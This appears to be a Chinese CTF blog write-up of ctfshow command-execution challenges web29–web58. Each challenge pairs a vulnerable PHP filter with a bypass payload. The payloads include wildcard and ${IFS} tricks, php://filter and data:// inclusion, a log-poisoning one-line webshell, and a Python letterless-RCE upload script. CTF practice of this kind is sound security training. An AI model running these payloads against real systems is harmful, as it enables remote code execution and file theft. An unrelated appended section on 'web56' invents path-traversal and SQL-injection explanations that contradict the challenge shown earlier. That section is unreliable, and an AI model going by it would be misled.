ctfshow命令执行(web29-web56)第一部分

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag可以用*或者?绕过

payload:c=system('cat fla*');

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system和php其中flag和php可以用通配符绕过,system函数可以用其他函数代替system(),exec(),passthru()

payload:?c=passthru('cat fla*.ph*');

web31 

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤的挺多我们利用eval的嵌套执行

?c=eval($_GET[1]);&1=system('tac flag.php');

 web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 没有过滤eval可以用上一题同样的方法,但过滤了;可以用?>代替,而且过滤了()所以不能用eval方法,可以用include配合伪协议来读取flag

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

相同payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

相同payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

相同payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 过滤了数字,把1换成a即可

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

include函数文件包含用伪协议。data伪协议

?c=data://text/plain,<?php system("tac f*");

web38 

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

可以用日志包含

首先在User Agent处写下一句话<?php eval($_GET[1]);?>,执行。

然后这个一句话木马会存在日志文件中,我们再传c=/var/log/nginx/access.log,实现包含日志文件,包含会将日志文件中的php代码执行,从而达到getshell的目的。

payload:

?c=/var/log/nginx/access.log&1=system('tac flag.php');

也可以用base64的data伪协议

c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=

 web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

data://text/plain相当于执行了php语句而.php由于前面的语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,就不在起作用了

?c=data://text/plain,<?php system("nl fla*")?>

web40 

 <?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

基本所有的符号都被过滤了

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。

 scandir(.)可以获取当前目录

pos(localeconv())就是.

print_r(scandir(pos(localeconv())));就可以获取当前目录

可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php

?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

 web41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

我们先来理解一下这个/dev/null  2>&1

Linux环境中所有的内容都是以文件的形式存在的,/dev/null是将输出结果输入到null,相当于黑洞里面。

1,2是文件描述符:

0代表的是标准输入,1代表的是标准输出,2代表的是错误输出。

这个东西一整个的意思是把错误输出也在标准输出里面输出,然后统一输出到null,即黑洞里面,所以这个是没有返回结果的。

这样子我们可以采取截断的方式,用%0a换行,让它只执行我们可控的命令。 

?c=tac flag.php%0a

?c=tac flag.php%26

?c=tac flag.php||

或者采取另一种方式,用;当成两条命令来执行。

payload:

?c=tac flag.php;ls

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和web42payload相同

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了flag用通配符,将上上一个payload的flag改为fla*即可

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了空格用%20、%3c、${IFS}、$IFS$9等代替

?c=tac${IFS}fla*.php%0a

web46 

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

 空格用<代替将flag用\隔开

?c=tac<fla\g.php%0a

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

与上一个payload相同

?c=tac<fla\g.php%0a

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

与上一个payload相同

?c=tac<fla\g.php%0a

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

与上一个payload相同

?c=tac<fla\g.php%0a

web50


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

与上一个payload相同

?c=tac<fla\g.php%0a

 web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac不能用了换成nl

?c=nl<fla\g.php||

web52 

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上题一样

c=nl<fla''g.php||

c=nl<fla\g.php||

web53 


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

d=system($c)可以执行c=ls发现成功执行,可以构造payload

?c=ca''t${IFS}fla?.php

web54 

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

使用通配符进行过滤了,就不用上面的命令了,可以使用mv,将flag.php移动到1.txt,之后便可以直接去访问1.txt。

c=mv${IFS}fla?.php${IFS}1.txt

web55 

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

 无字母的rce,看了下不太懂先放一下脚本

无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-优快云博客

import requests

while True:
    url = "http://1d96ce0e-d707-448a-a372-5dfdd5faa086.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web56 

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

和上面相同的脚本

web57

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

 $(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
代表36,即可获取flag

web58

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

c=highlight_file('flag.php');

 

### 关于CTFShow Web 56的解题思路 对于CTFShow平台上的Web类第56题,虽然具体题目细节未提供,但从已知的信息可以推测该题目可能涉及文件读取漏洞或路径遍历等问题。以下是基于常见Web安全挑战的分析和解决方法: #### 文件读取与路径遍历 如果题目涉及到`readfile()`函数,则可能存在路径遍历漏洞。攻击者可以通过构造恶意输入来访问服务器上未经授权的文件。 例如,在PHP中,`readfile()`函数用于将整个文件读入字符串并输出到浏览器。如果没有对用户输入进行严格过滤,可能会导致敏感文件泄露。以下是一个典型的利用方式[^1]: ```php <?php $file = $_GET['file']; readfile($file); ?> ``` 通过向参数`file`传递类似于`../`的路径穿越字符,攻击者能够尝试访问任意文件。为了防止此类攻击,应该对用户提交的数据进行全面验证,并限制可访问的目录范围。 #### SQL Injection Union Query 另一个常见的问题是SQL注入中的Union查询技术。当应用程序未能正确转义特殊字符时,就可能发生这种情况。下面展示了一个基本的例子[^2]: 假设存在如下查询语句: ```sql SELECT name, password FROM users WHERE id = '$_GET[id]'; ``` 如果允许直接拼接未经处理的外部数据作为部分SQL命令执行的话,那么黑客就可以轻松突破系统的防护机制获取数据库内的其他记录甚至控制权。 因此,在开发过程中要特别注意采用预编译语句或者ORM框架等方式减少手工构建动态SQL的机会;同时也要记得设置最小权限原则给运行环境下的DB账户只授予必要的操作许可以降低潜在风险影响面。 #### 综合考虑程序逻辑错误修复方案建议 除了上述提到的技术层面之外还需要关注整体业务流程设计是否存在缺陷。比如某些情况下看似无害的功能组合起来却能造成严重后果(如前面说过的上传功能加解析漏洞),这就要求我们在做需求评审阶段就要充分考虑到各种边界条件以及异常情况如何妥善处置而不至于让系统暴露在外网之下成为被轻易攻破的目标对象之一[^3]. 最后提醒大家参加这类竞赛活动期间一定要遵守主办方制定的相关规定不要做出任何违反道德伦理的事情损害他人利益同时也保护好自己个人信息安全! ```python import re def secure_read_file(file_path): allowed_pattern = r'^[a-zA-Z0-9_-]+\.(txt|log)$' # 只允许特定扩展名的安全文件名模式匹配 if not re.match(allowed_pattern, file_path): # 如果不符合正则表达式的定义格式则抛出异常终止后续动作 raise ValueError("Invalid filename provided.") with open(file_path, 'r') as f: # 安全地打开指定路径下的文档资源内容返回给调用方使用 return f.read() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值